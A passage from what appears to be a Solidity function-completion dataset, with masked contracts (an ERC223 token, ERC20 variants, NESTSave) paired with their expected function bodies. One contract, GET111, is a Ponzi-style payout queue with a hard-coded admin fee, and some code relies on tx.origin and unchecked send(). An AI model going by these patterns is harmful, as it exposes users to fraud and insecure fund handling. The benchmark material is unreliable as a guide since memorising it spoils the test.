// stable params:
uint256 public maxSupply;
uint256 public icoEndBlock;
address public icoAddress;
<FILL_FUNCTION>
// Function to access max supply of tokens .
function maxSupply() constant returns (uint256 _maxSupply) {
return maxSupply;
}
// /stable params
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
function icoAddress() constant returns (address _icoAddress) {
return icoAddress;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
return true;
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
_addr = _addr; // workaround for Mist's inability to compile
is_contract = is_contract; // workaround for Mist's inability to compile
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) throw;
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) throw;
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
/* setting ICO address for allowing execution from the ICO contract */
function setIcoAddress(address _address) onlyOwner {
if (icoAddress == address(0)) {
icoAddress = _address;
}
else throw;
}
/* mint new tokens */
function mint(address _receiver, uint256 _amount) {
if (icoAddress == address(0)) throw;
if (msg.sender != icoAddress && msg.sender != owner) throw; // mint allowed only for ICO contract or owner
if (safeAdd(totalSupply, _amount) > maxSupply) throw;
totalSupply = safeAdd(totalSupply, _amount);
balances[_receiver] = safeAdd(balances[_receiver], _amount);
Transfer(0, _receiver, _amount, new bytes(0));
}
} |
totalSupply = 0; // Update total supply
maxSupply = 1000000000000; // Maximum possible supply of STB == 100M STB
name = "STABLE STB Token"; // Set the name for display purposes
decimals = 4; // Amount of decimals for display purposes
symbol = "STB"; // Set the symbol for display purposes
icoEndBlock = 4332000; // INIT // last block number of ICO
//balances[msg.sender] = totalSupply; // Give the creator all initial tokens
| function ERC223Token_STB() | function ERC223Token_STB() |
61933 | GET111 | pay | contract GET111 {
address constant private ADMIN = 0x411647BA6480bF5FDec2145f858FD37AeCBfC03B;
uint constant public ADMIN_FEE = 5;
uint constant public PROFIT = 111;
struct Deposit {
address depositor; //depositor address
uint128 deposit; //deposit amount
uint128 expect; //payout 111% (100% + 11%)
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
//That function receive deposits, saves and after make instant payments
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!"); //gas need to process transaction
require(msg.value <= 2 ether); //We not allow big sums, it is for contract long life
//Adding investor into queue. Now he expects to receive 111% of his deposit
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*PROFIT/100)));
//Send fees 5% (3%+2%)
uint admin = msg.value*ADMIN_FEE/100;
ADMIN.send(admin);
//First in line get paid instantly
pay();
}
}
//This function paying for the first users in line
function pay() private {<FILL_FUNCTION_BODY> }
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | contract GET111 {
address constant private ADMIN = 0x411647BA6480bF5FDec2145f858FD37AeCBfC03B;
uint constant public ADMIN_FEE = 5;
uint constant public PROFIT = 111;
struct Deposit {
address depositor; //depositor address
uint128 deposit; //deposit amount
uint128 expect; //payout 111% (100% + 11%)
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
//That function receive deposits, saves and after make instant payments
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!"); //gas need to process transaction
require(msg.value <= 2 ether); //We not allow big sums, it is for contract long life
//Adding investor into queue. Now he expects to receive 111% of his deposit
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*PROFIT/100)));
//Send fees 5% (3%+2%)
uint admin = msg.value*ADMIN_FEE/100;
ADMIN.send(admin);
//First in line get paid instantly
pay();
}
}
<FILL_FUNCTION>
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} |
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
//User total paid
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
| function pay() private | //This function paying for the first users in line
function pay() private |
34911 | ERC20 | _approve | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 burntAmount = amount * 3 / 100;
_burn(sender, burntAmount);
uint256 leftAmount = amount - burntAmount;
_balances[sender] = _balances[sender].sub(leftAmount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(leftAmount);
emit Transfer(sender, recipient,leftAmount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> }
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 burntAmount = amount * 3 / 100;
_burn(sender, burntAmount);
uint256 leftAmount = amount - burntAmount;
_balances[sender] = _balances[sender].sub(leftAmount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(leftAmount);
emit Transfer(sender, recipient,leftAmount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
<FILL_FUNCTION>
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
| function _approve(address owner, address spender, uint256 amount) internal virtual | function _approve(address owner, address spender, uint256 amount) internal virtual |
45420 | ERC20 | approve | contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{<FILL_FUNCTION_BODY> }
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
<FILL_FUNCTION>
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} |
_approve(_msgSender(), spender, amount);
return true;
| function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
|
88918 | NESTSave | depositIn | contract NESTSave {
using SafeMath for uint256;
mapping (address => uint256) baseMapping; // General ledger
IBNEST nestContract; // Nest contract
IBMapping mappingContract; // Mapping contract
/**
* @dev Initialization method
* @param map Mapping contract address
*/
constructor(address map) public {
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
}
/**
* @dev Change mapping contract
* @param map Mapping contract address
*/
function changeMapping(address map) public onlyOwner{
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
}
/**
* @dev Take out nest
* @param num Quantity taken out
*/
function takeOut(uint256 num) public onlyContract {
require(isContract(address(tx.origin)) == false);
require(num <= baseMapping[tx.origin]);
baseMapping[address(tx.origin)] = baseMapping[address(tx.origin)].sub(num);
nestContract.transfer(address(tx.origin), num);
}
/**
* @dev Deposit in nest
* @param num Deposit quantity
*/
function depositIn(uint256 num) public onlyContract {<FILL_FUNCTION_BODY> }
/**
* @dev Take out all
*/
function takeOutPrivate() public {
require(isContract(address(msg.sender)) == false);
require(baseMapping[msg.sender] > 0);
nestContract.transfer(address(msg.sender), baseMapping[msg.sender]);
baseMapping[address(msg.sender)] = 0;
}
function checkAmount(address sender) public view returns(uint256) {
return baseMapping[address(sender)];
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
modifier onlyContract(){
require(mappingContract.checkAddress("nestAbonus") == msg.sender);
_;
}
function isContract(address addr) public view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
} | contract NESTSave {
using SafeMath for uint256;
mapping (address => uint256) baseMapping; // General ledger
IBNEST nestContract; // Nest contract
IBMapping mappingContract; // Mapping contract
/**
* @dev Initialization method
* @param map Mapping contract address
*/
constructor(address map) public {
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
}
/**
* @dev Change mapping contract
* @param map Mapping contract address
*/
function changeMapping(address map) public onlyOwner{
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
}
/**
* @dev Take out nest
* @param num Quantity taken out
*/
function takeOut(uint256 num) public onlyContract {
require(isContract(address(tx.origin)) == false);
require(num <= baseMapping[tx.origin]);
baseMapping[address(tx.origin)] = baseMapping[address(tx.origin)].sub(num);
nestContract.transfer(address(tx.origin), num);
}
<FILL_FUNCTION>
/**
* @dev Take out all
*/
function takeOutPrivate() public {
require(isContract(address(msg.sender)) == false);
require(baseMapping[msg.sender] > 0);
nestContract.transfer(address(msg.sender), baseMapping[msg.sender]);
baseMapping[address(msg.sender)] = 0;
}
function checkAmount(address sender) public view returns(uint256) {
return baseMapping[address(sender)];
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
modifier onlyContract(){
require(mappingContract.checkAddress("nestAbonus") == msg.sender);
_;
}
function isContract(address addr) public view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
} |
require(isContract(address(tx.origin)) == false);
require(nestContract.balanceOf(address(tx.origin)) >= num);
require(nestContract.allowance(address(tx.origin), address(this)) >= num);
